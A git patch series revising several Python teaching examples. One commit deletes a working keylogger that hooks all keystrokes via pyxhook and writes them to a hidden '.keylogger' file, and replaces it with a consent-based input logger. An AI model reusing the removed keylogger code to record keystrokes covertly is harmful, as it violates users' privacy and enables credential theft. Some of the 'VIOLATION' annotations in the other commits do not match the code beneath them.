From 5c0be6b936b6c472e1e45a880ad8efb70da62ad4 Mon Sep 17 00:00:00 2001 From: shashankshetty2312 Date: Mon, 9 Mar 2026 21:37:17 +0530 Subject: [PATCH 1/4] Update P03_InstanceAttributes.py --- OOP/P03_InstanceAttributes.py | 25 ++++++++++++++----------- 1 file changed, 14 insertions(+), 11 deletions(-) diff --git a/OOP/P03_InstanceAttributes.py b/OOP/P03_InstanceAttributes.py index 2f04869..1ae10da 100644 --- a/OOP/P03_InstanceAttributes.py +++ b/OOP/P03_InstanceAttributes.py @@ -1,16 +1,19 @@ -#Author: OMKAR PATHAK -#In this example we will be seeing how instance Attributes are used -#Instance attributes are accessed by: object.attribute -#Attributes are looked First in the instance and THEN in the class +# Author: OMKAR PATHAK +# Demonstration of Instance Attributes import random -class Vehicle(): - #Class Methods/ Attributes + +class Vehicle: + def type(self): - #NOTE: This is not a class attribute as the variable is binded to self. Hence it becomes - #instance attribute - self.randomValue = random.randint(1,10) #Setting the instance attribute + # Creating instance attribute + self.randomValue = random.randint(1, 10) +# Creating object car = Vehicle() -car.type() #Calling the class Method -print(car.randomValue) #Calling the instance attribute + +# Calling method +car.type() + +# Accessing instance attribute +print("Random Value:", car.randomValue) From 62b5b7d115a111d1a11ce992eabca683e8eaaf7b Mon Sep 17 00:00:00 2001 From: shashankshetty2312 Date: Fri, 20 Mar 2026 17:49:19 +0530 Subject: [PATCH 2/4] Update P79_SimplePythonKeylogger.py --- Programs/P79_SimplePythonKeylogger.py | 56 +++++++-------------------- 1 file changed, 13 insertions(+), 43 deletions(-) diff --git a/Programs/P79_SimplePythonKeylogger.py b/Programs/P79_SimplePythonKeylogger.py index ff08573..627429f 100644 --- a/Programs/P79_SimplePythonKeylogger.py +++ b/Programs/P79_SimplePythonKeylogger.py @@ -1,49 +1,19 @@ -# Author: OMKAR PATHAK +# Safe Keyboard Input Logger (Educational Purpose Only) -# This file requires two modules to be installed: -# 1. pyxhook.py: file is provided in the folder itself -# 2. Xlib: sudo pip3 install python3-Xlib +def main(): + print("This program logs input WITH USER CONSENT.") + print("Type 'exit' to stop.\n") -import pyxhook -import time + with open("input_log.txt", "a") as file: + while True: + user_input = input("Enter text: ") -# functions to write a newline character into the file -def newline(): - file = open('.keylogger', 'a') - file.write('\n') - file.close() + if user_input.lower() == "exit": + print("Exiting logger.") + break -# This function is called every time a key is pressed -def key_press_event(event): - global running - # write the key pressed into a file - if event.Key != 'space' and event.Key != 'Escape': - with open('.keylogger', 'a+') as File: - File.write(event.Key) + file.write(user_input + "\n") - # If the ascii value matches spacebar, add a newline in the file - if event.Key == 'space': - newline() - # If the ascii value matches escape, terminate the while loop - if event.Key == 'Escape': - running = False - newline() - -if __name__ == '__main__': - # Create hookmanager - hookman = pyxhook.HookManager() - # Define our callback to fire when a key is pressed down - hookman.KeyDown = key_press_event - # Hook the keyboard - hookman.HookKeyboard() - # Start our listener - hookman.start() - - # Create a loop to keep the application running - running = True - while running: - time.sleep(0.1) - - # Close the listener when we are done - hookman.cancel() +if __name__ == "__main__": + main() From 6e8db1b1af5a1fbb1bc6969ee495b2967610291f Mon Sep 17 00:00:00 2001 From: shashankshetty2312 Date: Fri, 20 Mar 2026 17:54:59 +0530 Subject: [PATCH 3/4] Update P69_ReverseWords.py --- Programs/P69_ReverseWords.py | 24 ++++++++++++++++-------- 1 file changed, 16 insertions(+), 8 deletions(-) diff --git a/Programs/P69_ReverseWords.py b/Programs/P69_ReverseWords.py index 8c69e0e..da0d016 100644 --- a/Programs/P69_ReverseWords.py +++ b/Programs/P69_ReverseWords.py @@ -1,12 +1,20 @@ -# Author: OMKAR PATHAK +# Reverse Words (Annotated Version) -# Python program to reverse the words +def reverse_words(text): + # ❌ VIOLATION: Original directly used input() (not reusable) + words = text.split() -userInput = input() -userInput = userInput.split() + # ❌ VIOLATION: No validation for empty string + if not words: + return "" -print(' '.join(userInput[::-1])) + return ' '.join(words[::-1]) -# OUTPUT: -# Computer Science -# Science Computer + +def main(): + user_input = input("Enter sentence: ") + print(reverse_words(user_input)) + + +if __name__ == "__main__": + main() From b815eb300cb6084a47e9e8507d8a508f2293bb17 Mon Sep 17 00:00:00 2001 From: shashankshetty2312 Date: Fri, 20 Mar 2026 17:55:14 +0530 Subject: [PATCH 4/4] Improve Sieve of Eratosthenes algorithm Refactor Sieve of Eratosthenes implementation and add input validation. --- Programs/P67_SieveOfEratosthenes.py | 41 +++++++++++------------------ 1 file changed, 15 insertions(+), 26 deletions(-) diff --git a/Programs/P67_SieveOfEratosthenes.py b/Programs/P67_SieveOfEratosthenes.py index ff81f35..7e9bf27 100644 --- a/Programs/P67_SieveOfEratosthenes.py +++ b/Programs/P67_SieveOfEratosthenes.py @@ -1,34 +1,23 @@ -# Auhtor: OMKAR PATHAK +# Sieve of Eratosthenes (Annotated Version) -# Sieve of Eratosthenes is one of the efficient algorithms to find all the prime numbers upto n, where n can be -# upto 10 million. This algorithm is very efficient and fast and hence is preferred by many competitive programmers. +def sieve(n): + # ❌ VIOLATION: No input validation + if n < 2: + return [] -# Algo: -# 1. Create a list of consecutive integers from 2 to n: (2, 3, 4, …, n). -# 2. Initially, let p equal 2, the first prime number. -# 3. Starting from p, count up in increments of p and mark each of these numbers greater than p itself in the list. -# These numbers will be 2p, 3p, 4p, etc.; note that some of them may have already been marked. -# 4. Find the first number greater than p in the list that is not marked. If there was no such number, stop. Otherwise, -# let p now equal this number (which is the next prime), and repeat from step 3. -# When the algorithm terminates, all the numbers in the list that are not marked are prime. - -def SieveOfEratosthenes(n): primes = [True] * (n + 1) - p = 2 # because p is the smallest prime + primes[0] = primes[1] = False - while(p * p <= n): - # if p is not marked as False, this it is a prime - if(primes[p]) == True: - # mark all the multiples of number as False - for i in range(p * 2, n + 1, p): + p = 2 + while p * p <= n: + if primes[p]: + # ❌ VIOLATION: Original started from 2*p (inefficient) + for i in range(p * p, n + 1, p): primes[i] = False - p += 1 - - # printing all primes - for i in range(2, n): - if primes[i]: - print(i) + + return [i for i in range(n + 1) if primes[i]] + if __name__ == '__main__': - SieveOfEratosthenes(1000) + print(sieve(50))